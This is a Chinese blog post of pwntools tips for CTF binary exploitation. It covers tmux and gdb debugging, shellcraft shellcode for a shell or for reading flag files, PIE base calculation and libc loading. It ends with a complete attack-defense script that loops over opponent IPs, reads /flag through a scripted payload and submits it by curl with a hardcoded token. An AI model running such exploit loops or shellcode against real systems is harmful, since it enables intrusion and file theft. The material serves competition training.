pwntools编写技巧

在最近的几次比赛中查看大佬们的exp学到了很多用pwntools编写exp时的小技巧

一、利用TMUX多屏调试

TMUX是一款终端复用软件,用来在一个终端里面开启多个窗口,极大的提升了工作效率,在工作中使用带有图形化界面的虚拟机实在太吃资源,而且不同版本libc切换复杂,于是我们可以选择通过配置一台服务器使用纯终端的模式就行调试,这就需要tmux进行多屏调试

context.terminal = ['tmux', 'splitw', '-h']

这段代码可以在我们调试的时候,自动一分为二增加一个窗口现实GDB的调试内容

二、指定运行环境

制定了运行环境就可以使用pwntools自带的许多工具生成shellcode

context(arch = 'amd64' , os = 'linux', log_level="debug")

context中指定了osarch才可以像下面一样调用,要不然你 得写成shellcraft.amd64.linux.sh()

shellcraft.sh()

生成针对当前osarch的一段可以getshellshellcode,这个功能用途不大,所以直接找shellcode还是建议去exploitdb去找

但其实exploitdb上那些shellcode写的也都一般,你自己完全可以写,比如64位时,只需要让rdi指向一个指针,指针里存着"/bin/sh\x00",然后rsirdx0,然后让rax0x3b,最后调用syscall就可以了

shellcraft.pushstr()

生成可以push指定字符串的shellcode,因为你自己写push字符串其实是一个很复杂的操作,比如想要push一段"/home/t1an5t/pwn/flag"这种,就需要对栈空间很熟悉,多次调整才可以,所以有轮子就直接用把

shellcraft.cat()

生成可以直接读取指定文件的shellcode

这个自己手写shellcode的时候一般都会用open()->read()->write()来进行读取打印

而这个cat()命令帮助你简化了这个操作,不过它调用的其实是open()->sendfileto()这种组合

三、开启了PIE的地址计算

def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
		gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(p,"b *{}".format(hex(addr)))

我们在IDA静态分析中只能得到相对地址,但在程序运行起来后通过重定位后真正的地址是基地址+相对地址。这段代码是用来程序开启PIE地址随机化后,自动得到基地址,并通过相对地址得到最后真正的物理地址并在此下断点

或者也可以通过这样获得基地址,手动计算

def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    return proc_base

四、不同libc加载库的选择

# 正常的调用
p = process('./elf')

# 指定libc的调用,当然,如果你本地的ld.so搞不定libc,这种方法也会报错
p = process('./elf', env={'LD_PRELOAD':'./libc.so.6'})

# starctf2019里见到的
pwn_file="./lib/ld-2.29.so --library-path ./lib/ ./babyheap"
p = process(pwn_file.split())

五、Attach

gdbattach的时候,一般会在对应的位置加一句:

gdb.attach(p, cmd)

这里的cmd相当于你attach进程之后在gdb里下的命令,如果想下多条命令,要记得加\n模拟回车,比如:

cmd = "b main\n"
cmd += "set $a = 0x8048000\n"
gdb.attach(p, cmd)

但是要注意,其实gdb attach的时候,你的程序并不会按你想的那样停下来,它会继续往下执行代码。

所以一般我的习惯是在atatch之后加一句pause() ,这样能保证pause()之后**python层面的接下来的代码**的不会被调用。

所以我一般会把调试的函数写成这样:

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

然后在交互的一开始就写下debug(),然后在对应需要停下的地方下面写一行pause()

这种加入了pause()的写法,想要向下执行,需要在已经attachgdb终端里执行c命令,然后再回到程序运行的终端按回车,回车的次数决定了你想要向下执行几个pause(),不想继续了,就在gdb的终端里ctrl+C断下来。然后想继续就重复这个流程就行了

设置某些变量时,一般都会用set $a=...这种,然后在gdb里查看内存可以用x/(numbs)(type) $a这种:

x/32gx $a
x/24wx $a
x/16b $a
x/8c $a
... ... 

正常的堆题目,会把堆块指针,也许还有其他信息存放到bss段上的,假设IDA显示为0x202010,那么我们可以设置:

cmd = '''set $a=%d''' %(proc_base+0x202010)

稍复杂一点的堆题目,可能会在初始化的时候开辟一块存储堆块指针的空间,然后把指向这个空间的指针存到bss,这个时候可以采用这种方式来设置:

cmd = '''set $a=*(long*)(%s)''' % hex(proc_base+0x202110)

六、AD模式

一个AD模式EXP的例子,将对手的gamebox的IP填入ip.txt文件,然后填写自动提交flag的接口网址,还有自己的token,将真正的利用exp写在main函数里,于是就可以实现自己打自己交flag了

from pwn import *

context.arch='amd64'
# context.log_level='debug'

def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
		gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(p,"b *{}".format(hex(addr)))

def main(host,port=16957):
    global p
    if host:
    	p=remote(host,port)
    else:
    	p=process("./pwn")
    	# gdb.attach(p)
    	debug(0x00000000000739D)
    code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""

    p.recvuntil("size: ")
    p.sendline(str(len(code)+2))
    p.recvuntil("Give me your script(same size): ")
    p.sendline(code)

    try:
        p.recvuntil("flag",timeout=0.5)
        flag = "flag" + p.recvuntil("\n",timeout=0.5)
        info(flag)
        p.close()
        return flag
    except Exception,err:
        print err
        p.close()
        return "bad_luck"
    p.interactive()

if __name__ == '__main__':
	# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	# main("123.57.209.176")

	# main("172.20.0.27")
    ips = [i.strip() for i in open("ip.txt","rb").readlines()]
    while(1):
        for ip in ips:
        	try:
        		sleep(1)
        		flag = main(ip)
        		# flag = main(args["REMOTE"])
        		info(flag)
        		url = 'https://172.20.1.1/Answerapi/sub_answer_api'
        		token = 'token78s8gbv55k4b03'
        		cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
        		print cmds
        		if 'flag' in cmds:
        			os.system(cmds)
        	except Exception,err:
        		p.close()
        		print err
        		continue
        sleep(30)

七、参考文章

里面许多参考了t1an5t师傅的文章:

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值